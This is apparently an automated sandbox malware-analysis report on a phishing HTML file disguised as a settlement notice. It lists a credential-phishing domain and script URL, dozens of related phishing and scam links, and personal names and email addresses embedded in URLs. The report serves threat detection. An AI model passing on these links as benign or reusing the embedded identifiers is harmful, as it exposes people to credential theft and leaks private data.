Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

HTTP Parser: file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
part-0013.t-0009.t-msedge.net	0%	Virustotal		Browse
pnnacleevaluationemployerform.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://promisesaplus.com/#point-48	0%	URL Reputation	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html	0%	Avira URL Cloud	safe
https://pnnacleevaluationemployerform.com/tellmehow/trost.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
part-0013.t-0009.t-msedge.net	13.107.213.41	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.194.137	true	false		high
cdnjs.cloudflare.com	104.17.25.14	true	false		high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false		high
www.google.com	142.250.64.164	true	false		high
pnnacleevaluationemployerform.com	198.54.115.192	true	true	1%, Virustotal, Browse	unknown
use.fontawesome.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false		high
https://code.jquery.com/jquery-3.3.1.js	false		high
file:///C:/Users/user/Desktop/Settlement%20DOL%2008262024%20-%20Victoria%20Brignon%20-%20Reference%20%2327224675-2722934.html	true	Avira URL Cloud: safe	low
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://pnnacleevaluationemployerform.com/tellmehow/trost.js	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_91.2.dr	false		high
http://jquery.org/license	chromecache_91.2.dr	false		high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_91.2.dr	false		high
https://bugs.jquery.com/ticket/12359	chromecache_91.2.dr	false		high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_91.2.dr	false		high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_91.2.dr	false		high
https://promisesaplus.com/#point-75	chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_91.2.dr	false		high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_91.2.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_91.2.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_91.2.dr	false		high
https://fontawesome.com/license/free	chromecache_92.2.dr	false		high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_91.2.dr	false		high
https://fontawesome.com	chromecache_92.2.dr	false		high
https://github.com/eslint/eslint/issues/6125	chromecache_91.2.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_91.2.dr	false		high
https://github.com/jquery/jquery/pull/557)	chromecache_91.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_94.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_91.2.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_91.2.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_91.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_91.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_100.2.dr	false		high
https://bugs.jquery.com/ticket/13378	chromecache_91.2.dr	false		high
https://promisesaplus.com/#point-64	chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_91.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_91.2.dr	false		high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_91.2.dr	false		high
https://promisesaplus.com/#point-59	chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_91.2.dr	false		high
https://promisesaplus.com/#point-57	chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_91.2.dr	false		high
https://promisesaplus.com/#point-54	chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_91.2.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_91.2.dr	false		high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_91.2.dr	false		high
https://jquery.org/license	chromecache_91.2.dr	false		high
https://jquery.com/	chromecache_91.2.dr	false		high
https://getbootstrap.com)	chromecache_98.2.dr, chromecache_94.2.dr	false	Avira URL Cloud: safe	low
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_91.2.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_91.2.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_98.2.dr, chromecache_94.2.dr	false		high
https://promisesaplus.com/#point-48	chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_91.2.dr	false		high
https://sizzlejs.com/	chromecache_91.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_91.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.41	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
142.250.64.164	www.google.com	United States	15169	GOOGLEUS	false
198.54.115.192	pnnacleevaluationemployerform.com	United States	22612	NAMECHEAP-NETUS	true
13.107.213.41	part-0013.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.251.35.228	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.4
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432211
Start date and time:	2024-04-26 17:28:49 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html
Detection:	MAL
Classification:	mal88.phis.winHTML@26/32@14/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.64.195, 192.178.50.78, 74.125.196.84, 34.104.35.123, 142.250.217.234, 172.217.15.202, 104.21.27.152, 172.67.142.245, 172.217.2.195, 142.250.217.170, 172.217.165.202, 192.178.50.42, 142.250.189.138, 142.250.64.170, 192.178.50.74, 142.250.217.202, 172.217.2.202, 172.217.3.74, 142.250.189.132, 23.45.182.100, 142.250.217.228, 192.229.211.108, 172.217.165.195, 23.45.182.104, 142.251.35.238
Excluded domains from analysis (whitelisted): logincdn.msauth.net, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, t0.gstatic.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.41	http://www.surveymonkey.com/tr/v1/te/PUEIZHbYTJGrZEIkVMWlCoicdktJQxDgUh5D5mhe1V5RrTmuIdynx7PnFHXRUx9slMgQjvZdyUWqhr_2Bl49oNXjy3TOleTjKMKR6WbsGcrstlT2syBMlSkW7U5aKlKcBD9NFqJqrxGyODSWJJr6_2BMbXsKkDA_2F0ep4iw23xw6huuM_3D	Get hash	malicious	Unknown	Browse	www.eand.com/en/index.html
	02-11-2024 MVP.html	Get hash	malicious	Unknown	Browse	www.mvphealthcare.com/
	02-11-2024 MVP.html	Get hash	malicious	Unknown	Browse	www.mvphealthcare.com/
	http://y84x.mjt.lu/lnk/CAAABPdweCoAAAAAAAAAAAVG8MwAAAA6pnMAAAAAAAvpOQBlhIO4-ImJ1UImRBC5CNVIkLSaswAL-7Q/2/r-vXj7XjX0azsD7QNKNH-A/aHR0cHM6Ly9hcHBjZW50ZXIubXMvaW52aXRhdGlvbnMvb3JnL2IxNjM2ZDYzMTE0YTM0MjBkYWFmNTg4YTE5N2Y0N2MxNGY4ZDViNWMyM2ZjM2RhYTgxMWM0ODgwOWM1ZTZkNjQ	Get hash	malicious	Unknown	Browse	appcenter.ms/
	http://url7816.acetaxi.com/ls/click?upn=k9eqZnPBEZmPVPka3LxS61O1ksdCJOgznvtiwccqzi2-2BneqvfCXEJ-2FQj-2BZo7snmCwDunBahf2LYhfs7qQp7-2F23xLStq-2BkxJ70xqVvyXzkWM-3D8Cie_z5TGfmB4A65PPE2hDgRdrx6OZsZ3AmrJLHJ0M9ePWeHP5QDTWsAVp117uXam9dNn-2BGSxHeP-2BInRF-2Bgy2v-2FXBPODjmLss6NRV2RYsUYD7um77hgLl0ET9pPGTHF-2BQ1m6-2Fw7-2B-2B9DJOpakZj874YLC8uUep0F7rZMDlM46gmHmQqqAeCV477M0h2b07T2IcXu0hzUcKftN0UG2jhPq8qo00cQl0gvOLl-2BjChyaOdLpENao-3D	Get hash	malicious	Unknown	Browse	twiliosolutions.azurefd.net/
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
13.107.213.41	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
13.107.213.41	http://www.serviceadg.com	Get hash	malicious	Unknown	Browse	fr.linkedin.com/company/service-adg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://gelw.nalverd.com/AvGEoxV/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://shorturl.at/lMOT7	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://marinatitle.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://lide.alosalca.fun/highbox#joeblow@xyz.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://neoparts.com.br./driz/oybe/am9sZW5lLmJ1cm5zQHNlY3VydXN0ZWNobm9sb2dpZXMuY29t$?utp=consumer&	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://r20.rs6.net/tn.jsp?f=001mdupJ4qBb-Nd2_ylzx8HBttlQ9opTAsCLDNaIzR_kjOMUNmpNcZJwTrf1-JKcQms1CJ9Uho976bwGC08_tX5C5noMjVDoDyLOXoK3aopxxStOM8t6wvTBKWgVo18etJYQ_eeHjJ4R2lwkep1pKOUg8VLdGfphtuo&c=&ch=/Er8BdK9PMSuOgr2lskWkeZAKVKx339#?ZnJhbmtfZHJhcGVyQGFvLnVzY291cnRzLmdvdg==	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://bushelman-my.sharepoint.com/:b:/p/lance/ESXtc6Laa05KpaC4W3rpMEMBfLSUU1GZhgfhBL8opRqFHg?e=Wrw3le	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.130.137
cdnjs.cloudflare.com	http://householdshop.club/	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://cleverchoice.com.au	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://cleverchoice.com.au	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://cleverchoice.com.au	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://marinatitle.com	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://uporniacomnuvidx.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	https://purexxfilmsjoybear.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.17.24.14
	https://jpmanysexcomvistsxx.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	https://lide.alosalca.fun/highbox#joeblow@xyz.com	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.bing.com/ck/a?!&&p=8c604c2d3901cb1eJmltdHM9MTcxMjc5MzYwMCZpZ3VpZD0wODdjNjgyYy00N2ZlLTYyOGQtMzA1ZC03YmVmNDY5NTYzNjUmaW5zaWQ9NTE2MQ&ptn=3&ver=2&hsh=3&fclid=087c682c-47fe-628d-305d-7bef46956365&u=a1aHR0cHM6Ly9rZWljb3NlY3VyaXR5LmNvbS5teC8&ntb=1	Get hash	malicious	Unknown	Browse	104.17.25.14
part-0013.t-0009.t-msedge.net	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	https://4yu76uyd4.best/ccon/	Get hash	malicious	Unknown	Browse	13.107.246.41
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://shorturl.at/lMOT7	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.246.41
maxcdn.bootstrapcdn.com	https://uporniacomnuvidx.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.18.10.207
	https://purexxfilmsjoybear.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://jpmanysexcomvistsxx.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	104.18.10.207
	https://lide.alosalca.fun/highbox#joeblow@xyz.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://pub-02d879d6055b4f31b3db7cbbb1499011.r2.dev/%60%60~~~%5D%5D%5D%5D%5D.html#theunis@khk.co.za	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://pub-6181362b94fe4678b6894856207139da.r2.dev/indexjs.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://keeper.com	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://gnoticiasimparciais.com	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://funcallback.com	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://wmicrosouab-4ba8.udydzj.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAMECHEAP-NETUS	https://4yu76uyd4.best/ccon/	Get hash	malicious	Unknown	Browse	198.187.29.142
	http://seattlend.com	Get hash	malicious	Unknown	Browse	162.213.255.45
	hesaphareketi_1.scr.exe	Get hash	malicious	AgentTesla	Browse	198.54.114.199
	181_960.msi	Get hash	malicious	Unknown	Browse	199.192.27.64
	232_786.msi	Get hash	malicious	Unknown	Browse	199.192.27.64
	m2 Cotizaci#U00f3n-1634.pdf.exe	Get hash	malicious	FormBook	Browse	198.54.117.242
	Job Application.pdf.lnk	Get hash	malicious	Unknown	Browse	162.0.236.151
	PO_PDF24172024.scr.exe	Get hash	malicious	FormBook	Browse	37.61.232.138
	eInvoicing_pdf.vbs	Get hash	malicious	FormBook	Browse	185.61.152.60
	hesaphareketi-01.pdf.SCR.exe	Get hash	malicious	AgentTesla	Browse	198.54.114.199
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	52.96.165.130
	file.exe	Get hash	malicious	Unknown	Browse	52.178.17.234
	file.exe	Get hash	malicious	Unknown	Browse	204.79.197.219
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	52.96.28.178
	https://github.com/bambulab/BambuStudio/releases/download/v01.08.04.51/Bambu_Studio_win_public-v01.08.04.51-20240117164301.exe	Get hash	malicious	Unknown	Browse	13.107.42.16
	factura - ztcpyqiqtfiewxjhesna.msi	Get hash	malicious	Unknown	Browse	20.118.56.6
	JHqNlw9U8c.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	20.157.87.45
